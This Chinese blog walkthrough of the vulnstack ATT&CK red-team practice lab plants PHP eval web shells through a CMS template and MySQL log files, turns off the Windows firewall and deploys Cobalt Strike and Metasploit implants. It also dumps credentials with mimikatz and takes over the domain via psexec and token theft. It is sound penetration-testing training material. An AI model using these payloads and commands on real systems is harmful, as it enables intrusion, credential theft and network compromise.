ATK&CK红队评估实战靶场 (一)的搭建和模拟攻击过程全过程

2021/5/9 18:26:29

本文主要是介绍ATK&CK红队评估实战靶场 (一)的搭建和模拟攻击过程全过程,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

介绍及环境搭建

靶机地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2
官方靶机说明:
红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习、视频教程、博客三位一体学习。另外本次实战完全模拟 ATT&CK 攻击链路进行搭建,开成完整闭环。后续也会搭建真实 APT 实战环境,从实战中成长。虚拟机所有统一密码:hongrisec@2019

配置网络,网络配置如下:

可以选择kali主机和web服务器(WIN7)直接开启NAT,但是也用不到,除非CS搭建在了自己的VPS上。我就是搭建在自己的VPS上,所以web服务器和kali主机是可以开启NAT访问外网的;

网络架构:

虚拟机环境:

kali(攻击机)以及三台服务器的配置:

开机这样:

需要先开启phpstudy:

注意win7的双网卡设置,并ping内网

win7双网卡,并且都可以ping通kali主机,且注意可以ping通内网,因为正常情况下DMZ区可以访问外网;

渗透web服务器流程

先发现主机:netdiscover -i eth0 -r 192.168.52.0/24
发现143主机之后,对其进行端口探测:
nmap -T4 -A -v -Pn IP

最常用的一种扫描

T4 设置时序,越高扫描越快
A 启用操作系统检测,版本检测,脚本扫描和跟踪路由
v 增加详细级别(使用-vv或更高级别以获得更好的效果)
Pn 无ping扫描

开放了80,3306这两个重要的端口
访问80端口,看到绝对路径,这个可是对后期渗透很有用的

** 绝对路径 C:/phpStudy/WWW
最下面检测mysql连接:root,root可以连接**

端口检测完成,到扫描目录步骤:
常规扫描只有phpmyadmin,这个字典不太行,直接用御剑的;

访问beifen.rar将文件下载,查看

robots.txt文件显示yxcms,访问

前台泄露了账号,密码,登录后发现有如下重要功能

可以尝试SQL写入shell,上传shell

首页的留言本可以实现存储型xss,盗取管理员cookie,诱导点击链接等。

查看此处的前台模板,可以自己添加模板,因为有源码备份文件,去查找default文件位置

可以确定写入模板位置位于:
192.168.52.143/yxcms/protected/apps/default/view/default/dudu.php

写入之后拿蚁剑连接

直接上传写shell,可以连接

这里我打算尝试一波目录遍历写入shell,不知是否可行

此处我上传成功了,并且蚁剑连接成功。但是前台没有显示../../../../../dudu2.php

此处的碎片删除界面,可以进行dnslog带外注入


具体分析查看:https://www.freebuf.com/column/162886.html

之前的phpmyadmin可以登录,尝试SQL写入shell

尝试执行SQL语句写入shell,写入shell的几个条件:

数据库此刻为root权限或者拥有File权限
知道网站绝对路径
PHP的GPC参数为关闭状态
Mysql中的secure_file_priv参数不能为Null状态

secure-file-priv特性:

secure-file-priv参数是用来限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()传到哪个指定目录
当secure_file_priv的值为null ,表示限制mysql 不允许导入|导出
当secure_file_priv的值为/tmp/ ,表示限制mysql 的导入|导出只能发生在/tmp/目录下
当secure_file_priv的值没有具体值时,表示不对mysql 的导入|导出做限制
            可以在mysql-ini文件中设置其属性

这里值是NULL,直接into outfile写不了shell

如果想通过into写入文件,修改value的值: windows下修改配置文件:mysql.ini linux修改配置文件:my.cnf select 1,'<?php eval($_POST[a]);?>' INTO OUTFILE '/var/www/html/test.php'# select 1,'<?php eval($_POST[a]);?>' INTO dumpfile '/var/www/html/test.php'# 区别在于使用outfile时,文件中一行的末尾会自动换行

这里直接写shell不行,可以在SQL中开启日志记录,因为phpmyadmin泄露了绝对路径,然后指定位置写入shell
这里开启全局日志记录:

查看当前的日志记录:

指定日志文件存放于哪个目录,方便连接操作

写入shell,连接密码dudu3

蚁剑去连接:
刚开始去连接,没连上,以为SQL命令不合适,重复执行了一遍;
又去phpstudy查看效果,在www目录下,我连接是写的cms目录下,人傻了

还有一种方法利用慢日志写shell

一般都是通过long_query_time选项来设置这个时间值的,时间以秒为单位,可以精确到微妙。如果查询时间
超过了这个时间值,这个查询语句将会被记录到慢查询日志中;

查看服务器默认时间值方式:
show global variables like '%long_query_time%';
开启慢查询(关闭参数为0):
set global slow_query_log=1;
查看结果:
show global variables like '%slow%';   # 是否slow_query_log为ON
修改slow_query_log_file日志文件的绝对路径和文件名
set global slow_query_log_file='c:\\phpstudy\\www\\yxcms\\dudu4.php';
最后进行查询:
SELECT'<?php eval($_POST[dudu4]);?>' OR SLEEP(11);

image
image
image
image

执行最后一条语句需要注意:一般$_POST['']里面的内容会加引号,这里写入时不能加引号,否则语句执行不成功
image

去蚁剑连接就行,密码dudu4
image
image
前渗透基本结束,4种拿shell方式;

后渗透流程

我本来想直接利用公网VPS的CS服务器,在自己本机实现上线,但是还要牵扯代理,隧道诸多复杂事项,这个
靶机的初衷是web服务器置于外网,这样属于多层网络架构,可能无法拿下。只能利用kali主机的MSF,然后将CS
服务器起到ubuntu,然后win7电脑客户端实现上线;

image

然后给unbuntu和win7安装CS服务器和客户端,,,过程省略。。。
CS服务器
image
CS客户端
image
然后选择监听器呗,用蚁剑上传CS生成的木马
image
这里生成木马,拿蚁剑连接最好先去蚁剑关闭防火墙;
蚁剑终端执行:netsh advfirewall set allprofiles state off
image
image

一直不上线,,,两边的防火墙也都关了
搞了好久,发现是监听器设置错了,没有设置为自己服务器的地址,设置CS客户端的地址;
蚁剑执行上传的exe就行,防火墙之前关闭了,这里执行完就能上线主机

image

后渗透正式开始

先将这台主机的sleep设置为0,因为是靶机,正常环境不能太快;
对这台主机进行信息收集;

image
image
这里仔细分析一下,224为外网段,52为内网段,win环境中,DNS服务器一般是和DC绑定的,之前部署时需要绑定设置;所以52.138初步判断为域控的ip地址,继续信息收集;
image
image

对主机基本信息收集

查询操作系统及软件信息
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" # 英文系统
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" #中文系统
 查看系统体系结构
echo %PROCESSOR_ARCHITECTURE% 
PowerShell收集软件的版本信息
powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name, version" 
查看当前权限
whoami && whoami /priv
查询本机服务信息
wmic service list brief
查看安装的软件的版本、路径等
wmic product get name, version 
查询进程信息
wmic process list brief
查看启动程序信息
wmic startup get command,caption

image
image
然后查看一下是否存在常见的杀毒软件进程,,,
image
image
命令很多,写个笔记,用的时候顺着往下敲,就知道了
这里就去定位域了,之前已经初步判断了存在域
前面判断了存在域,且DNS域名为god.org
image
然后我判断域用户角色和时间定位域的时候,出现错误提示5,这种情况说明此账户不是域用户,权限不够;(此处花费我很久时间去排查原因,最后发现是NAT网络原因,nslookup域名的时候也会出到外网,最后重新设置了一下win7主机的网卡才行)

然后查看主域信息以及时间服务器;
image

systeminfo查看了所在域环境和补丁情况
image

查询当前的登录域与用户信息
image

这个时候域信息基本清楚,就得定位域控了;因为之前发现ipconfig/all发现了dns服务器地址,就不在nslookup去解析了
image

查看域内的用户
image

获取域内用户的详细信息:wmic useraccount get /all
image

查看所有域成员计算机列表:net group "domain computers" /domain
image

查看域管理员的用户组:net group "domain admins" /domain
image

查询域系统管理员用户组:net group "Enterprise admins" /domain
image

查看域控制器:net group "domain controllers" /domain
image

获取域密码信息:net accounts /domain
image

基本域信息探测完毕,初步对域内主机账户有了初步了解,接下来就是提权,横向;

方法一:
·这里可以将MSF生成的马用蚁剑上传至WIN7服务器,而后运行
·反弹个shell给MSF(如果是powershell运行记得,修改策略,set-execut ionpolicy unrestricted)
·之前收集过systeminfo,这里使用第三方工具Windows-Exploit-Suggester去检测可以用漏洞;
(下载地址:https://github.com/GDSSecurity/Windows-Exploit-Suggester)
·在win7上systeminfo>win7.txt生成,而后去kali中利用
·存在MS16-014,MSF进行提权,nt authrity\system
·在win7主机上配置静态路由,run autoroute -s 192.168.52.0/24
·MSF自带扫描端口模块,auxiliary/scanner/portscan/tcp set rhosts(扫描的主机) 扫描的端口(80,445,3389)
·使用ms17-010 comand模块进行执行命令
·这里把shell反弹给cs,cs直接上线system权限,无需提权
·抓Hash密码,再扫描内网段
·添加SMB会话,psexec拿域控的shell
·beacon开启3389之后,就回到kali里面配置socks4a的代理,vi etc/proxychains.conf 添加socks4 x.x.x.x(MSF地址)port                
·proxychains nc -v DCip 3389   proxychains redesktop DCip 3389 至此MSF结合CS,拿下整个域控过程完结

方法二:
获取了一个CS的beacon后可以目标内网情况和端口开放:
在beacon上右键->目标->选择net view或者port scan:

image

执行后在Targets选项卡看到扫描的主机:
image

这个时候去用CS的hashdump去读内存密码,用mimakatz读注册表密码:logonpasswords
权限不够可以先去提权,插件Elevatekit

image

抓取密码后探测内网其他主机:
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="
这条命令是不需要进行免杀的,是系统命令

image

这里还有k8大神的工具ladon,内容丰富,扫描快

主要介绍SMB beacon,CS派生SMB beacon
SMB beacon通过命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子beacon从父beacon获取到任务并发送。因为链接的Beacons使用windows命名管道进行通信,此流量封装于SMB协议中,所以SMB beacon相对隐蔽,绕过防火墙会有奇效

第一种是在已经有的beacon上创建监听,用来作为跳板内网穿透,前提是通过shell访问其他内网主机,也就是获取DC的方法一

第二种就是直接派生一个孩子,目的为了进一步盗取内网主机的hash
新建一个listener,payload设置为Beacon SMB:

image

在已有的beacon上右键spawn生成会话,进行派生
选择创建的smb beacon的listener:选择后会反弹一个子会话,在external的ip后面会有一个连接图标

image

image

派生的SMB当前没有连接,可以在主beacon上连接它 link host

psexec使用凭证来登录其他主机
横向已经探测到了获取内网的其他Targets以及读取到的凭证信息
可以利用psexec模块登录其他主机

右键选择非域控主机(OWA)的psexec模块:
选择后,结果图

image

image
分别执行了
rev2self
make_token GOD.ORG\Administrator hongrisec@2021
jump psexec OWA SMB
最后依次得到了三台内网主机的system权限,图标试图:
image

这里还可以使用Token窃取
image

窃取token,然后再psexec,选择使用token
image

基本整个靶场就结束了,耗时三天;大概边做边记录了,排版什么的也没有注意,内网这块儿还是比较菜的,参考了很多文章,才磕磕碰碰结束
7月份就去实习了,投的北京的四家岗位,某宇没有面试过,还有一个甲方面过了但是因为学校7月离校,遗憾的通知我说已经没有编制了,不过也好在拿到了心仪公司的实习offer,因为明年毕业,5轮面试的是春招岗位,但是只能拿实习的offer了



这篇关于ATK&CK红队评估实战靶场 (一)的搭建和模拟攻击过程全过程的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!


扫一扫关注最新编程教程